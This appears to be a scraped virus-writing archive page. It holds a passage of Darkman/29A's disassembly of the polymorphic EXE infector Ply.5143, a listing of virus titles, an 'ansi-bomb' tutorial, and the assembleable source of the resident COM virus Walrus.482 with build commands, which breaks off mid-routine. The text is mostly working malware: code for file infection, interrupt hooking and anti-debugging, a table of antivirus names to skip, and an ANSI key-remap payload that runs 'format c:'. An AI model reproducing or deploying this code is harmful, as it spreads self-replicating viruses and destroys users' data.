     mov     si,bx	 ; SI = offset of poly_buffer

     nop

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

jmp_exit:

     jmp     test_loop

     nop

     nop

delete_jmp:

     cmp     al,05h	 ; Delete previously created JMP im...

     nop

     jne     test_loop	 ; Not equal? Jump to test_loop

     nop

     mov     al,[si]	 ; AL = first byte of three-bytes b...

     nop

     cmp     al,0e9h	 ; JMP imm16 (opcode 0e9h)?

     nop

     jne     jmp_exit_	 ; Not equal? Jump to jmp_exit_

     nop

     mov     ax,[si+01h]	 ; AX = 16-bit immediate

     add     ax,03h	 ; Add size of opcode CALL imm16

     mov     di,si	 ; DI = offset of current three-byt...

     nop

     add     si,ax	 ; Add 16-bit immediate

     nop

     lea     bx,poly_blocks	 ; BX = offset of poly_blocks

     add     bx,bp	 ; Add delta offset

     nop

     cmp     si,bx	 ; 16-bit immediate within polymorp...

     nop

     jb      jmp_exit_	 ; Below? Jump to jmp_exit_

     nop

     mov     cx,03h	 ; Move three bytes

     rep     movsb	 ; Move three-bytes block to offset...

     nop

     mov     al,90h	 ; NOP (opcode 90h)

     nop

     mov     ah,al	 ; NOP; NOP (opcode 90h,90h)

     nop

     mov     [si-03h],ax	 ; Store NOP; NOP

     in      al,40h	 ; AL = 8-bit random number

     nop

     mov     [si-01h],al	 ; Store 8-bit random number

     in      al,40h	 ; AL = 8-bit random number

     nop

     mov     [si],al	 ; Store 8-bit random number

     nop

jmp_exit_:

     jmp     test_loop

     nop

     nop

test_loop:

     pop     si 	 ; Load SI from stack

     nop

     nop

     pop     cx 	 ; Load CX from stack

     nop

     nop

     mov     ax,03h	 ; AX = size of block

     add     si,ax	 ; SI = offset of next three-byte b...

     nop

     dec     cx 	 ; Decrease CX

     nop

     nop

     jz      poly_exit	 ; Zero? Jump to poly_exit

     nop

     jmp     poly_loop

poly_exit:

     jmp     set_dta_addr

     nop

     nop

get_poly_off proc    near	 ; Get random offset of polymorphic...

     in      al,40h	 ; AL = 8-bit random number

     nop

     mov     ah,al	 ; AH =   "     "      "

     nop

     in      al,40h	 ; AL = 8-bit random number

     nop

     mov     di,ax	 ; DI = 16-bit random number

     nop

     mov     ax,(poly_end-poly_begin)/03h

get_rnd_num:

     sub     di,ax	 ; Subtract number of polymorphic b...

     nop

     cmp     di,ax	 ; Too large a 16-bit random number?

     nop

     jae     get_rnd_num	 ; Above or equal? Jump to get_rnd_num

     nop

     mov     ax,di	 ; AX = 16-bit random number within...

     nop

     add     di,ax	 ; Add number of polymorphic blocks

     nop

     add     di,ax	 ;  "    "    "       "        "

     nop

     add     di,ax	 ;  "    "    "       "        "

     nop

     add     di,ax	 ;  "    "    "       "        "

     nop

     add     di,ax	 ;  "    "    "       "        "

     nop

     lea     ax,poly_blocks	 ; AX = offset of poly_blocks

     add     di,ax	 ; Add offset of poly_blocks to ran...

     nop

     add     di,bp	 ; Add delta offset

     nop

     mov     al,90h	 ; NOP (opcode 90h)

     nop

     mov     ah,al	 ; NOP; NOP (opcode 90h,90h)

     nop

     cmp     [di],ax	 ; Offset already in use?

     nop

     jne     get_poly_off	 ; Not equal? Jump to get_poly_off

     nop

     ret	 ; Return!

     nop

     nop

     endp

set_dta_addr:

     mov     ah,2fh	 ; Get disk transfer area address

     nop

     int     21h

     nop

     push    bx 	 ; Save BX at stack

     nop

     nop

     mov     ax,es	 ; ES = segment of disk transfer area

     nop

     push    ax 	 ; Save AX at stack

     nop

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     mov     ah,1ah	 ; Set disk transfer area address

     nop

     lea     dx,dta	 ; DX = offset of dta

     add     dx,bp	 ; Add delta offset

     nop

     mov     di,dx	 ; DI = offset of dta

     nop

     int     21h

     nop

     mov     ax,3524h	 ; Get interrupt vector 24h

     int     21h

     nop

     push    bx 	 ; Save BX at stack

     nop

     nop

     mov     ax,es	 ; ES = segment of interrupt 24h

     nop

     push    ax 	 ; Save AX at stack

     nop

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     mov     ax,2524h	 ; Get interrupt vector 24h

     lea     dx,int24_virus	 ; DX = offset of int24_virus

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     xor     ax,ax	 ; Zero AX

     nop

     mov     ds,ax	 ; DS = segment of interrupt table

     nop

     mov     si,(2ah*04h)	 ; SI = offset of interrupt vector 2ah

     lodsw	 ; AX = offset of interrupt 2ah

     nop

     nop

     push    ax 	 ; Save AX at stack

     nop

     nop

     lodsw	 ; AX = segment of interrupt 2ah

     nop

     nop

     push    ax 	 ; Save AX at stack

     nop

     nop

     lea     ax,int2a_virus	 ; AX = offset of int2a_virus

     add     ax,bp	 ; Add delta offset

     nop

     mov     [si-04h],ax	 ; Set interrupt offset 2ah

     mov     ax,cs	 ; AX = code segment

     nop

     mov     [si-02h],ax	 ; Set interrupt segment 2ah

     mov     ax,cs	 ; AX = code segment

     nop

     mov     ds,ax	 ; DS =  "      "

     nop

     mov     ax,(4e00h-2020h)	 ; Find first matching file

     add     ax,2020h

     mov     cx,0000000000000111b

     lea     dx,file_specifi	 ; DX = offset of file_specifi

     add     dx,bp	 ; Add delta offset

     nop

     mov     bx,dx	 ; BX = offset of file_specifi

     nop

     mov     al,'E'

     nop

     mov     [bx+02h],al	 ; Correct the file specification

     jmp     find_first

     nop

     nop

find_next:

     mov     ax,(4f00h-2020h)	 ; Find next matching file

     add     ax,2020h

find_first:

     int     21h

     nop

     jnc     examine_name	 ; No error? Jump to examine_name

     nop

     xor     ax,ax	 ; Zero AX

     nop

     mov     es,ax	 ; ES = segment of interrupt table

     nop

     mov     di,(2ah*04h)	 ; DI = offset of interrupt vector 2ah

     pop     bx 	 ; Load BX from stack

     nop

     nop

     pop     ax 	 ; Load AX from stack

     nop

     nop

     stosw	 ; Set interrupt offset 2ah

     nop

     nop

     mov     ax,bx	 ; AX = segment of interrupt 2ah

     nop

     stosw	 ; Set inerrupt segment 2ah

     nop

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     pop     ax 	 ; Load AX from stack

     nop

     nop

     mov     ds,ax	 ; DS = segment of interrupt 24h

     nop

     pop     dx 	 ; Load DX from stack

     nop

     nop

     mov     ax,2524h	 ; Set interrupt vector 24h

     int     21h

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     ds,ax	 ; DS =  "      "

     nop

     pop     ax 	 ; Load AX from stack

     nop

     nop

     mov     ds,ax	 ; DS = segment of disk transfer area

     nop

     pop     dx 	 ; Load DX from stack

     nop

     nop

     mov     ax,(1a00h+2020h)	 ; Set disk transfer area address

     sub     ax,2020h

     mov     dx,80h	 ; DX = offset of default disk tran...

     int     21h

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     ds,ax	 ; DS =  "      "

     nop

     jmp     virus_exit

examine_name:

     mov     al,'V'

     nop

     mov     [bx+02h],al	 ; Correct the file specification

     push    di 	 ; Save DI at stack

     nop

     nop

     lea     si,table_begin	 ; SI = offset of table_begin

     add     si,bp	 ; Add delta offset

     nop

     lea     di,filename	 ; DI = offset of filename

     add     di,bp	 ; Add delta offset

     nop

next_name:

     mov     bx,si	 ; BX = offset within table

     nop

     lodsb	 ; AL = size of filename

     nop

     nop

     cmp     al,00h	 ; End of table?

     nop

     je      open_file	 ; Equal? Jump to open_file

     nop

     mov     ah,00h	 ; AX = size of filename

     nop

     mov     cx,ax	 ; CX =  "   "     "

     nop

     add     bx,cx	 ; BX = offset of next filename

     nop

     inc     bx 	 ; BX =   "    "   "      "

     nop

     nop

     push    di 	 ; Save DI at stack

     nop

     nop

     rep     cmpsb	 ; Compare filename with filname in...

     nop

     pop     di 	 ; Load DI from stack

     nop

     nop

     je      jmp_fnd_nxt	 ; Equal? Jump to jmp_fnd_nxt

     nop

     mov     si,bx	 ; SI = offset of next filename

     nop

     jmp     next_name

     nop

jmp_fnd_nxt:

     pop     di 	 ; Load DI from stack

     nop

     nop

     jmp     find_next

open_file:

     pop     di 	 ; Load DI from stack

     nop

     nop

     lea     si,file_header	 ; SI = offset of file_header

     add     si,bp	 ; Add delta offset

     nop

     mov     ax,3d00h	 ; Open file (read)

     lea     dx,filename	 ; DX = offset of filename

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     mov     bx,ax	 ; BX = file handle

     nop

     mov     ah,3fh	 ; Read from file

     nop

     mov     dx,si	 ; DX = offset of file_header

     nop

     mov     cx,1ah	 ; Read twenty-six bytes

     int     21h

     nop

     mov     ah,3eh	 ; Close file

     nop

     int     21h

     nop

     mov     ax,('ZM'+2020h)     ; EXE signature

     sub     ax,2020h

     cmp     [si],ax	 ; Found EXE signature?

     nop

     je      examine_file	 ; Equal? Jump to examine_file

     nop

     xchg    ah,al	 ; Exchange EXE signature

     nop

     cmp     [si],ax	 ; Found EXE signature?

     nop

     je      examine_file	 ; Equal? Jump to examine_file

     nop

jmp_fnd_nxt_:

     jmp     find_next

examine_file:

     mov     ax,2020h

     cmp     [si+12h],ax	 ; Already infected?

     je      jmp_fnd_nxt_	 ; Equal? Jump to jmp_fnd_nxt_

     nop

     mov     ax,(4301h-2020h)	 ; Set file attributes

     add     ax,2020h

     xor     cx,cx	 ; CX = new file attributes

     nop

     lea     dx,filename	 ; DX = offset of filename

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     mov     ax,(3d02h-2020h)	 ; Open file (read/write)

     add     ax,2020h

     lea     dx,filename	 ; DX = offset of filename

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     mov     bx,ax	 ; BX = file handle

     nop

     mov     ax,4202h	 ; Set current file position (EOF)

     xor     cx,cx	 ; Zero CX

     nop

     xor     dx,dx	 ; Zero DX

     nop

     int     21h

     nop

     mov     ax,(4000h-2020h)	 ; Write to file

     add     ax,2020h

     mov     cx,(code_end-code_begin)

     lea     dx,code_begin	 ; DX = offset of code_begin

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     mov     ax,[si+08h]	 ; AX = header size in paragraphs

     mov     cl,04h	 ; Multiply by paragraphs

     nop

     shl     ax,cl	 ; AX = header size

     nop

     push    bx 	 ; Save BX at stack

     nop

     nop

     xchg    ax,bx	 ; BX = header size

     nop

     nop

     mov     ax,[di+1ah]	 ; AX = low-order word of filesize

     mov     dx,[di+1ch]	 ; DX = high-order word of filesize

     push    ax 	 ; Save AX at stack

     nop

     nop

     push    dx 	 ; Save DX at stack

     nop

     nop

     sub     ax,bx	 ; Subtract header size from filesize

     nop

     sbb     dx,00h	 ; Convert to 32-bit

     mov     cx,10h

     div     cx 	 ; Divide by paragraphs

     nop

     mov     cx,dx	 ; CX = low-order word of filesize ...

     nop

     lea     bx,entry_point-100h ; BX = offset of entry_point

     add     dx,bx	 ; Add offset of entry_point to low...

     nop

     mov     [si+14h],dx	 ; Store instruction pointer

     mov     [si+16h],ax	 ; Store code segment

     lea     bx,delta_offset	 ; BX = offset of delta_offset

     add     bx,bp	 ; Add delta offset

     nop

     mov     [bx],cx	 ; Store delta offset

     nop

     inc     ax 	 ; Increase AX

     nop

     nop

     mov     [si+0eh],ax	 ; Store stack segment

     mov     dx,cx	 ; DX = low-order word of filesize ...

     nop

     mov     ax,(code_end-code_begin+0c0h)

     add     dx,ax	 ; DX = stack pointer

     nop

     mov     ax,1111111111111110b

     and     dx,ax	 ; DX =   "      "

     nop

     mov     [si+10h],dx	 ; Store stack pointer

     mov     ax,2020h	 ; AX = infection mark

     mov     [si+12h],ax	 ; Store infection mark

     pop     dx 	 ; Load DX from stack

     nop

     nop

     pop     ax 	 ; Load AX from stack

     nop

     nop

     add     ax,(code_end-code_begin)

     adc     dx,00h	 ; Convert to 32-bit

     mov     cl,09h

     nop

     push    ax 	 ; Save AX at stack

     nop

     nop

     shr     ax,cl	 ; Multiply by pages

     nop

     ror     dx,cl	 ;     "    "    "

     nop

     stc	 ; Set carry flag

     nop

     nop

     adc     dx,ax	 ; DX = total number of 512-bytes p...

     nop

     pop     ax 	 ; Load AX from stack

     nop

     nop

     and     ah,00000001b

     mov     [si+04h],dx	 ; Store totalt number of 512-bytes...

     mov     [si+02h],ax	 ; Number of bytes in last 512-byte...

     pop     bx 	 ; Load BX from stack

     nop

     nop

     mov     ax,4201h	 ; Set current file position (CFP)

     mov     cx,-01h

     mov     dx,-(code_end-delta_offset)

     int     21h

     nop

     mov     ax,(4000h-2020h)	 ; Write to file

     add     ax,2020h

     mov     cx,02h	 ; Write two bytes

     lea     dx,delta_offset	 ; DX = offset of delta_offset

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     mov     ax,4200h	 ; Set current file position (SOF)

     xor     cx,cx	 ; Zero CX

     nop

     xor     dx,dx	 ; Zero DX

     nop

     int     21h

     nop

     mov     ax,(4000h-2020h)	 ; Write to file

     add     ax,2020h

     mov     cx,1ah	 ; Write twenty-six bytes

     mov     dx,si	 ; DX = offset of file_header

     nop

     int     21h

     nop

     mov     ax,(5701h-2020h)	 ; Set file's date and time

     add     ax,2020h

     mov     cx,[di+16h]	 ; CX = file time

     mov     dx,[di+18h]	 ; DX = file date

     int     21h

     nop

     mov     ah,3eh	 ; Close file

     nop

     int     21h

     nop

     mov     ax,(4301h-2020h)	 ; Set file attributes

     add     ax,2020h

     mov     ch,00h	 ; Zero CH

     nop

     mov     cl,[di+15h]	 ; CL = file attribute

     lea     dx,filename	 ; DX = offset of filename

     add     dx,bp	 ; Add delta offset

     nop

     int     21h

     nop

     jmp     find_next

virus_exit:

     mov     ax,1202h	 ; Get interrupt address

     mov     dx,24h	 ; Get interrupt address of interru...

     call    int2f_simula

     mov     ax,cs	 ; AX = code segment

     nop

     mov     es,ax	 ; ES =  "      "

     nop

     mov     ax,(24h*04h)	 ; AX = offset of interrupt vector 24h

     cmp     bx,ax	 ; Debugging?

     nop

     je      virus_exit_	 ; No debugging? Jump to virus_exit_

     nop

     mov     ax,3500h	 ; Get interrupt vector 00h

     int     21h

     nop

     lea     si,int01_off	 ; SI = offset of int01_off

     add     si,bp	 ; Add delta offset

     nop

     lodsw	 ; AX = offset of interrupt 01h

     nop

     nop

     mov     dx,ax	 ; DX =   "    "      "      "

     nop

     mov     ax,es	 ; AX = segment of interrupt 00h

     nop

     mov     ds,ax	 ; DS =    "    "      "      "

     nop

     mov     ax,(2501h-2020h)	 ; Set interrupt vector 01h

     add     ax,2020h

     int     21h

     nop

     mov     ax,cs	 ; AX = code segment

     nop

     mov     ds,ax	 ; DS =  "      "

     nop

     mov     es,ax	 ; ES =  "      "

     nop

eternal_loop:

     jmp     eternal_loop

     nop

virus_exit_:

     mov     ah,62h	 ; Get current PSP address

     nop

     int     21h

     nop

     mov     es,bx	 ; ES = segment of PSP for current ...

     nop

     mov     cx,bx	 ; CX =    "    "   "   "     "     "

     nop

     add     cx,10h	 ; CX = segment of beginning of code

     lea     si,instruct_ptr	 ; SI = offset of instruct_ptr

     add     si,bp	 ; Add delta offset

     nop

     add     [si+02h],cx	 ; Add segment of beginning of code...

     add     cx,[si+04h]	 ; Add original stack segment to se...

     cli	 ; Clear interrupt-enable flag

     nop

     nop

     xor     ax,ax	 ; Zero AX

     nop

poly_end:

     mov     sp,[si+06h]	 ; SP = stack pointer

     mov     ss,cx	 ; SS = stack segment

     sti	 ; Set interrupt-enable flag

     push    ax 	 ; Save AX at stack

     mov     ds,bx	 ; DS = segment of PSP for current ...

     db      0eah	 ; JMP imm32 (opcode 0eah)

instruct_ptr dw      ?	 ; Instruction pointer

code_seg     dw      ?	 ; Code segment

stack_seg    dw      ?	 ; Stack segment

stack_ptr    dw      ?	 ; Stack pointer

int24_virus  proc    near	 ; Interrupt 24h of Ply.5143

     mov     al,03h	 ; Fail system call in progress

int01_virus  proc    near	 ; Interrupt 01h of Ply.5143

int2a_virus  proc    near	 ; Interrupt 2ah of Ply.5143

     iret	 ; Interrupt return!

     endp

     endp

     endp

int2f_simula proc    near	 ; Simulate interrupt 21h

     push    dx 	 ; Load DX from stack

     pushf

     db      9ah	 ; CALL imm32 (opcode 9ah)

int2f_addr   dd      ?	 ; Address of interrupt 2fh

     pop     dx 	 ; Load DX from stack

     ret	 ; Return!

     endp

int21_simula proc    near	 ; Simulate interrupt 21h

     segcs	 ; Code segment as source segment

     int     21h

     nop

     ret	 ; Return!

     endp

     db      00h

int01_off    dw      ?	 ; Offset of interrupt 01h

     db      00h

entry_point:

     jmp     code_begin

file_specifi db      '*.VXE',00h         ; File specification

file_header  dw      0ah dup(?),00h,0fff0h,?

     db      00h

poly_buffer  db      03h dup(?) 	 ; Polymorphic buffer

table_begin  db      04h,'AVP.'          ; AntiViral Toolkit Pro

     db      08h,'AVPLITE.'      ; AVPLite

     db      06h,'AVPVE.'        ; AVP Virus Encyclopedia

     db      06h,'EICAR.'        ; EICAR-ANTIVIRUS-TEST-FILE

     db      07h,'EMM386.'       ; Microsoft expanded memory manage...

     db      07h,'F-PROT.'       ; F-PROT

     db      06h,'FV386.'

     db      05h,'FV86.'

     db      05h,'MSAV.'         ; Microsoft Anti-Virus

     db      09h,'MVTOOL10.'

     db      05h,'SCAN.'         ; McAfee ViruScan

     db      07h,'TBSCAN.'       ; Thunderbyte virus detector

     db      05h,'TBAV.'         ; Thunderbyte menu

     db      08h,'TBCHECK.'      ; TbCheck, Resident integrity checker

     db      08h,'TBCLEAN.'      ; Thunderbyte clean utility

     db      07h,'TBDISK.'       ; TbDisk, Disk guard

     db      09h,'TBDRIVER.'     ; TbDriver, TBAV TSR utilities

     db      07h,'TBFILE.'       ; TbFile, software guard

     db      09h,'TBGENSIG.'     ; TbGenSig, signature file compiler

     db      06h,'TBKEY.'        ; TbKey

     db      06h,'TBLOG.'        ; TbLog, TBAV automatic log utility

     db      06h,'TBMEM.'        ; TbMem, Memory guard

     db      08h,'TBSETUP.'      ; Thunderbyte software setup

     db      08h,'TBSCANX.'      ; TbScanX resident virus scanner

     db      07h,'TBUTIL.'       ; TbUtil

     db      09h,'VALIDATE.'     ; VALIDATE

     db      08h,'VIRSTOP.'      ; VIRSTOP

     db      05h,'VPIC.'         ; Picture file viewer

     db      06h,'VSAFE.'        ; VSafe

     db      00h

table_end:

     db      00h

_ncdtree     db      '\NCDTREE',00h

poly_blocks  db       (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))

code_end:

dta:

     db      15h dup(?) 	 ; Used by DOS for find next-process

file_attr    db      ?	 ; File attribute

file_time    dw      ?	 ; File time

file_date    dw      ?	 ; File date

filesize     dd      ?	 ; Filesize

filename     db      0dh dup(?) 	 ; Filename

data_end:

end	     code_begin


ASM
Metaphase ASM

Cake 0.1 by Sblip

graytile  by Sblip

pr0n Worm by nUcLeii

Battus by Black Jack

Win32.Eclipse by Black Jack

Disassembly of Form.a By Black Jack

AtaXia by Evul

Disassembly of Dementia.4229 by Darkman / 29A

Disassembly of Ply.5143 by Darkman / 29A

Disassembly of Walrus.482  by Darkman / 29A

Sisters by Techno Phunk / TI

Win.Dragon by Yosha / FS

VEiN.Three_Years.A by VEiN


A simple easy guide to Ansi-Bombs by Deloss / NuKE

A simple easy guide to Ansi-Bombs by Deloss[NuKE]

======================================================================

       A simple tutorial for ansi-bombs

======================================================================

Disclaimer:I donot believe in destruction and I am not responsible for your actions

======================================================================

    For the very first (and just about the most important) thing, you have to have your ansi.sys driver loaded. To do this, just find it on your system and in your config.sys file put at the end

 DEVICE=DRIVELETTER:\FOLDER\FOLDER\ANSI.SYS

Replace "DRIVELETTER" and the" FOLDER"s with the correct path.

I just started messing around with Ansi Bombs after a friend forked me over a tutorial about 'em. They seem kind of neat at first, then you realize how nasty they can be This my first attempt at a tutorial. I love these damn little things, there super easy to make

Ansi-bomb's just  reroute the keys on the keyboard.

Most ansi-bombs are batch files although the best ansi-bombs are written as an exe or com file. You must be in DOS for these to work. Have fun!

Remember all Ansi bombs start with @ECHO ON

Also while in DOS the ƒ is an left arrow. To do this hold the Alt key and press 159 then release the Alt key

Here is a goofy example of a bomb

Example 1:

@ECHO OFF

        REM (author name) or name of the bomb

        REM

        @ECHO ON

ƒ[65;You suck jackass!!;13p

ƒ[88;Have sex with me now!!;13p

ƒ[69;Damn!;13p

Description:

ƒ[65;You suck jackass!!;13p

    65 = "A", and makes it print "You suck jackass!!"

    when this key is pressed

ƒ[88;Have sex with me now!!;13p

    88 = X, and makes it print "Have sex with me now!!"

    when that key is pressed

    You get the basic idea. Harmless but fun.

Heres a painfull bomb

Example 2:

 	@ECHO OFF

REM (author name) or the name of the bomb

REM

@ECHO ON

ƒ[78;89;13p

ƒ[110;121;13p

ƒ[73;105;format c:";13p

Description:

78 = N, and 89 = Y, it changed N to Y

110 = n, and 121 = y, same principle

It is also not case sensitive because of this

73 = I, and 105 = i, and tells it to format c:

Below is a chart for the characters and their number equivalent:

!=33  "=34  #=35  $=36  %=37  &=38  '=39  (=40  )=41  *=42  +=43  -=45

/=47  0=48  1=49  2=50  3=51  4=52  5=53  6=54  7=55  8=56  9=57  :=58

;=59  <=60  ==61  >=62  ?=63  @=64  A=65  B=66  C=67  D=68  E=69  F=70

G=71  H=72  I=73  J=74  K=75  L=76  M=77  N=78  O=79  P=80  Q=81  R=82

S=83  T=84  U=85  V=86  W=87  X=88  Y=89  Z=90  [=91  \=92  ]=93  ^=94

_=95  a=97  b=98  c=99  d=100  e=101  f=102  g=103  h=104  i=105 j=106

k=107  l=108  m=109  n=110  o=111  p=112  q=113  r=114  s=115  t=116

u=117  v=118  w=119  x=120  y=121  z=122  {=123  |=124  }=125  ~=126

Much thankx to DarkChasm, For without his tutorial i would still be in the dark.


Disassembly of Walrus.482  by Darkman / 29A
Disassembly of Walrus.482 by Darkman / 29

comment *

                               Walrus.482

                             Disassembly by

                               Darkman/29A

  Walrus.482 is a 482 bytes resident appending COM virus. Infects files at

  load and execute program. Walrus.482 has a non-destructive payload.

  Compile Walrus.482 with Turbo Assembler v 5.0 by typing:

    TASM /M WALRUS.ASM

    TLINK /x WALRUS.OBJ

    EXE2BIN WALRUS.EXE WALRUS.COM

*

.model tiny

.code

code_begin:

     db      11101001b	 ; JMP imm16 (opcode 0e9h)

     dw	     (restore-virus_begin)

virus_begin:

origin_code  db      11001101b,00100000b,?

restore:

             mov     si,100h             ; SI = offset of beginning of code

             push    si                  ; Save SI at stack

     db      10001001b,11110111b ; MOV DI,SI (opcode 89h,0f7h)

             add     si,[si+01h]	 ; SI = delta offset

             push    si                  ; Save SI at stack

             movsb                       ; Move the original code to beginning

             movsw                       ;  "    "     "      "   "      "

             mov     ax,0c0deh           ; Walrus.482 function

             int     21h

             pop     si                  ; Load SI from stack

             push    si                  ; Save SI at stack

             cmp     ax,0dec0h           ; Already resident?

             je      virus_exit          ; Equal? Jump to virus_exit

             push    ds es               ; Save segments at stack

             push    si                  ; Save SI at stack

             mov     ax,3521h            ; Get interrupt vector 21h

             int     21h

             pop     si                  ; Load SI from stack

             mov     word ptr [si+(int21_addr-virus_begin)],bx

             mov     word ptr [si+(int21_addr-virus_begin)+02h],es

             pop     es                  ; Load ES from stack

             push    es                  ; Save ES at stack

             mov     bx,0ffffh           ; BX = new size in paragraphs

             mov     ah,4ah              ; Resize memoy block

             int     21h

             sub     bx,(data_end-virus_begin+0fh)/10h+01h

             mov     ah,4ah              ; Resize memory block

             int     21h

             mov     bx,(data_end-virus_begin+0fh)/10h

             mov     ah,48h              ; Allocate memory

             int     21h

             dec     ax                  ; AX = segment of current Memory C...

             mov     es,ax               ; AX = segment of current Memory C...

             inc     ax                  ; AX = segment of virus at top of ...

             mov     es:[01h],ax         ; Store PSP segment of owner

             mov     di,10h              ; DI = offset of virus at top of m...

             mov     cx,(data_end-virus_begin)/02h

             rep     movsw               ; Move virus to top of memory

             mov     ds,ax               ; AX = segment of virus at top of ...

             mov     dx,(int21_virus-virus_begin)

             mov     ax,2521h            ; Set interrupt vector 21h

             int     21h

             pop     es ds               ; Load segments from stack

virus_exit:

             pop     si                  ; Load SI from stack

             mov     ah,2ah              ; Get system date

             int     21h

             mov     ah,2ch              ; Get system time

             cmp     al,05h              ; Friday?

             jne     payload             ; Not equal? Jump to payload

             int     21h

             cmp     dh,02h              ; 2nd second?

             ja      virus_exit_         ; Above? Jump to virus_exit_

     db	     10001101b,10010100b ; LEA DX,[SI+imm16]

             dw      (christian_is-virus_begin)

write_string proc    near                ; Write string ro standard output

             mov     ah,09h              ; Write string ro standard output

             int     21h

virus_exit_:

             ret                         ; Return

             endp

christian_is db      0ah,0dh,'/* CHRiSTiAN iS A GooN */',0ah,0dh,'$'

jiree_hosan  db      0ah,0dh,'/* JiREE HoSAN */',0ah,0dh,'$'

payload:

             cmp     cx,7cah             ; 1994?

             jne     payload_            ; Not equal? Jump to payload_

             cmp     dh,0bh              ; November?

             jne     payload_            ; Not equal? Jump to payload_

             int     21h

             cmp     dh,01h              ; January?

             ja      virus_exit_         ; Above? Jump to virus_exit_

     db	     10001101b,10010100b ; LEA DX,[SI+imm16]

             dw      (jiree_hosan-virus_begin)

             jmp     write_string

             db      '/* May 19th */'

payload_:

             cmp     dx,513h             ; 19th of May?

             jne     virus_exit_         ; Not equal? Jump to virus_exit_

             mov     ax,13h              ; Set video mode

             int     10h

             mov     si,0a000h           ; SI = segment of graphic video RAM

             mov     es,si               ; ES =    "    "     "      "    "

             mov     si,0f000h           ; SI = segment of system ROM

             mov     ds,si               ; DS =    "    "    "     "

window_loop:

vert_retrace:

             mov     dx,3dah             ; DX = port of CGA status register...

             in      al,dx               ; AL = CGA status register EGA/VGA...

             and     al,00001000b        ; In vertical retrace?

             jnz     vert_retrace        ; Not zero? Jump to vert_retrace

vert_retrac_:

             in      al,dx               ; AL = CGA status register EGA/VGA...

             and     al,00001000b        ; In vertical retrace?

             jz      vert_retrac_        ; Not zero? Jump to vert_retrac_

             lodsw                       ; AX = two bytes of system ROM

             mov     di,ax               ; DI = offset of upper left corner...

             lodsb                       ; AL = one byte of system ROM

             and     ax,0000000000011111b

             add     al,30h              ; Add forty-eight to length of win...

     db      10001001b,11000001b ; MOV CX,AX (opcode 89h,0c1h)

             lodsb                       ; AL = one byte of system ROM

             and     al,00011111b	 ; AL = random number within thirty...

             add     al,30h              ; Add forty-eight to height of win...

             xchg    dx,ax               ; DX = height of window

             lodsw                       ; AX = two bytes of system ROM

store_window:

             push    cx di               ; Save registers at stack

             rep     stosb               ; Store window

             pop     di cx               ; Load registers from stack

             add     di,140h             ; DI = offset within window

             dec     dx                  ; Decrease height of window

             jnz     store_window        ; Not zero? Jump to store_window

             jmp     window_loop

virus_offset equ     word ptr $+01h      ; Offset of virus within infected ...

infect_code  db      11101001b,?,?       ; JMP imm16 (opcode 0e9h)

             db      '/* ANTi-VLAD CoDE */'

int21_virus  proc    near                ; Interrupt 21h of Walrus.482

             cmp     ax, 0cafeh          ; VLAD.1221 function?

             jne     tst_republic        ; Not equal? Jump to tst_republic

             mov     ax,0f00dh           ; Already resident

             iret                        ; Interrupt return

tst_republic:

             cmp     ax,0feedh           ; VLAD.Republic.12xx function?

             jne     tst_gt_spoof        ; Not equal? Jump to tst_gt_spoof

             mov     ax,0fadeh           ; Already resident

             iret                        ; Interrupt return

tst_gt_spoof:

             cmp     ax,3d76h            ; GT-Spoof.1131 function?

             je      already_tsr         ; Equal? Jump to already_tsr

             cmp     ax,51ffh            ; Ph33r.1xxx function?

             je      already_tsr         ; Equal? Jump to already_tsr

             cmp     ax,0c0deh           ; Walrus.482 function?

             jne     tst_load_and        ; Not equal? Jump to tst_load_and

already_tsr:

             xchg    al,ah               ; Already resident

             iret                        ; Interrupt return

             endp

set_file_pos proc    near                ; Set current file position

             cwd                         ; CX:DX = offset from origin of ne...

set_file_att proc    near                ; Set file attributes

             xor     cx,cx               ; CX = new file attributes

             int     21h

             ret                         ; Return

             endp

             endp

             db      '/* WALRUS */'

tst_load_and:

             cmp     ax,4b00h            ; Load and execute program?

             push    ax bx               ; Save registers at stack

             jne     int21_exit          ; Not equal? Jump to int21_exit

             mov     ah,43h              ; Get file attributes

             int     21h

             jc      int21_exit          ; Error? Jump to int21_exit

             mov     ax,4301h            ; Set file attributes

             push    ax cx dx ds         ; Save registers at stack

             call    set_file_att

             jc      set_file_at_        ; Error? Jump to set_file_at_

             mov     ax,3d02h            ; Open file (read/write)

             int     21h

             jc      set_file_at_        ; Error? Jump to set_file_at_

             xchg    ax,bx               ; BX = file handle

             mov     ax,5700h            ; Get file's date and time

             int     21h

             jc      close_file          ; Error? Jump to close_file

             mov     ax,0000000000011111b

             and     ax,cx               ; AX = seconds of file time

             dec     ax                  ; Already infected?

             jz      close_file          ; Zero? Jump to close_file

             push    cx dx               ; Save registers at stack

             mov     cx,03h              ; Read three bytes

             push    cs                  ; Save CS at stack

             pop     ds                  ; Load DS from stack (CS)

             mov     ah,3fh              ; Read from file

             cwd                         ; Zero DX

             int     21h

             jc      set_file_inf        ; Error? Jump to set_file_inf

             xor     si,si               ; Zero SI

             cmp     byte ptr [si],'M'   ; EXE signature?

             je      set_file_inf        ; Equal? Jump to set_file_inf

             mov     ax,4202h            ; Set current file position (EOF)

             call    set_file_pos

             mov     ds:[(virus_offset-virus_begin)],ax

             mov     cx,(code_end-virus_begin)

             mov     ah,40h              ; Write to file

             cwd                         ; Zero DX

             int     21h

             mov     ax,4200h            ; Set current file position (SOF)

             call    set_file_pos

             mov     dx,(infect_code-virus_begin)

             mov     cx,03h              ; Write three bytes

             mov     ah,40h              ; Write to file

             int     21h

set_file_inf:

             pop     dx ax               ; Load registers from stack

             and     al,11100000b        ; AX = hours and minutes of file time

             inc     ax                  ; Set infection mark (2 seconds)

             xchg    ax,cx               ; CX = new time

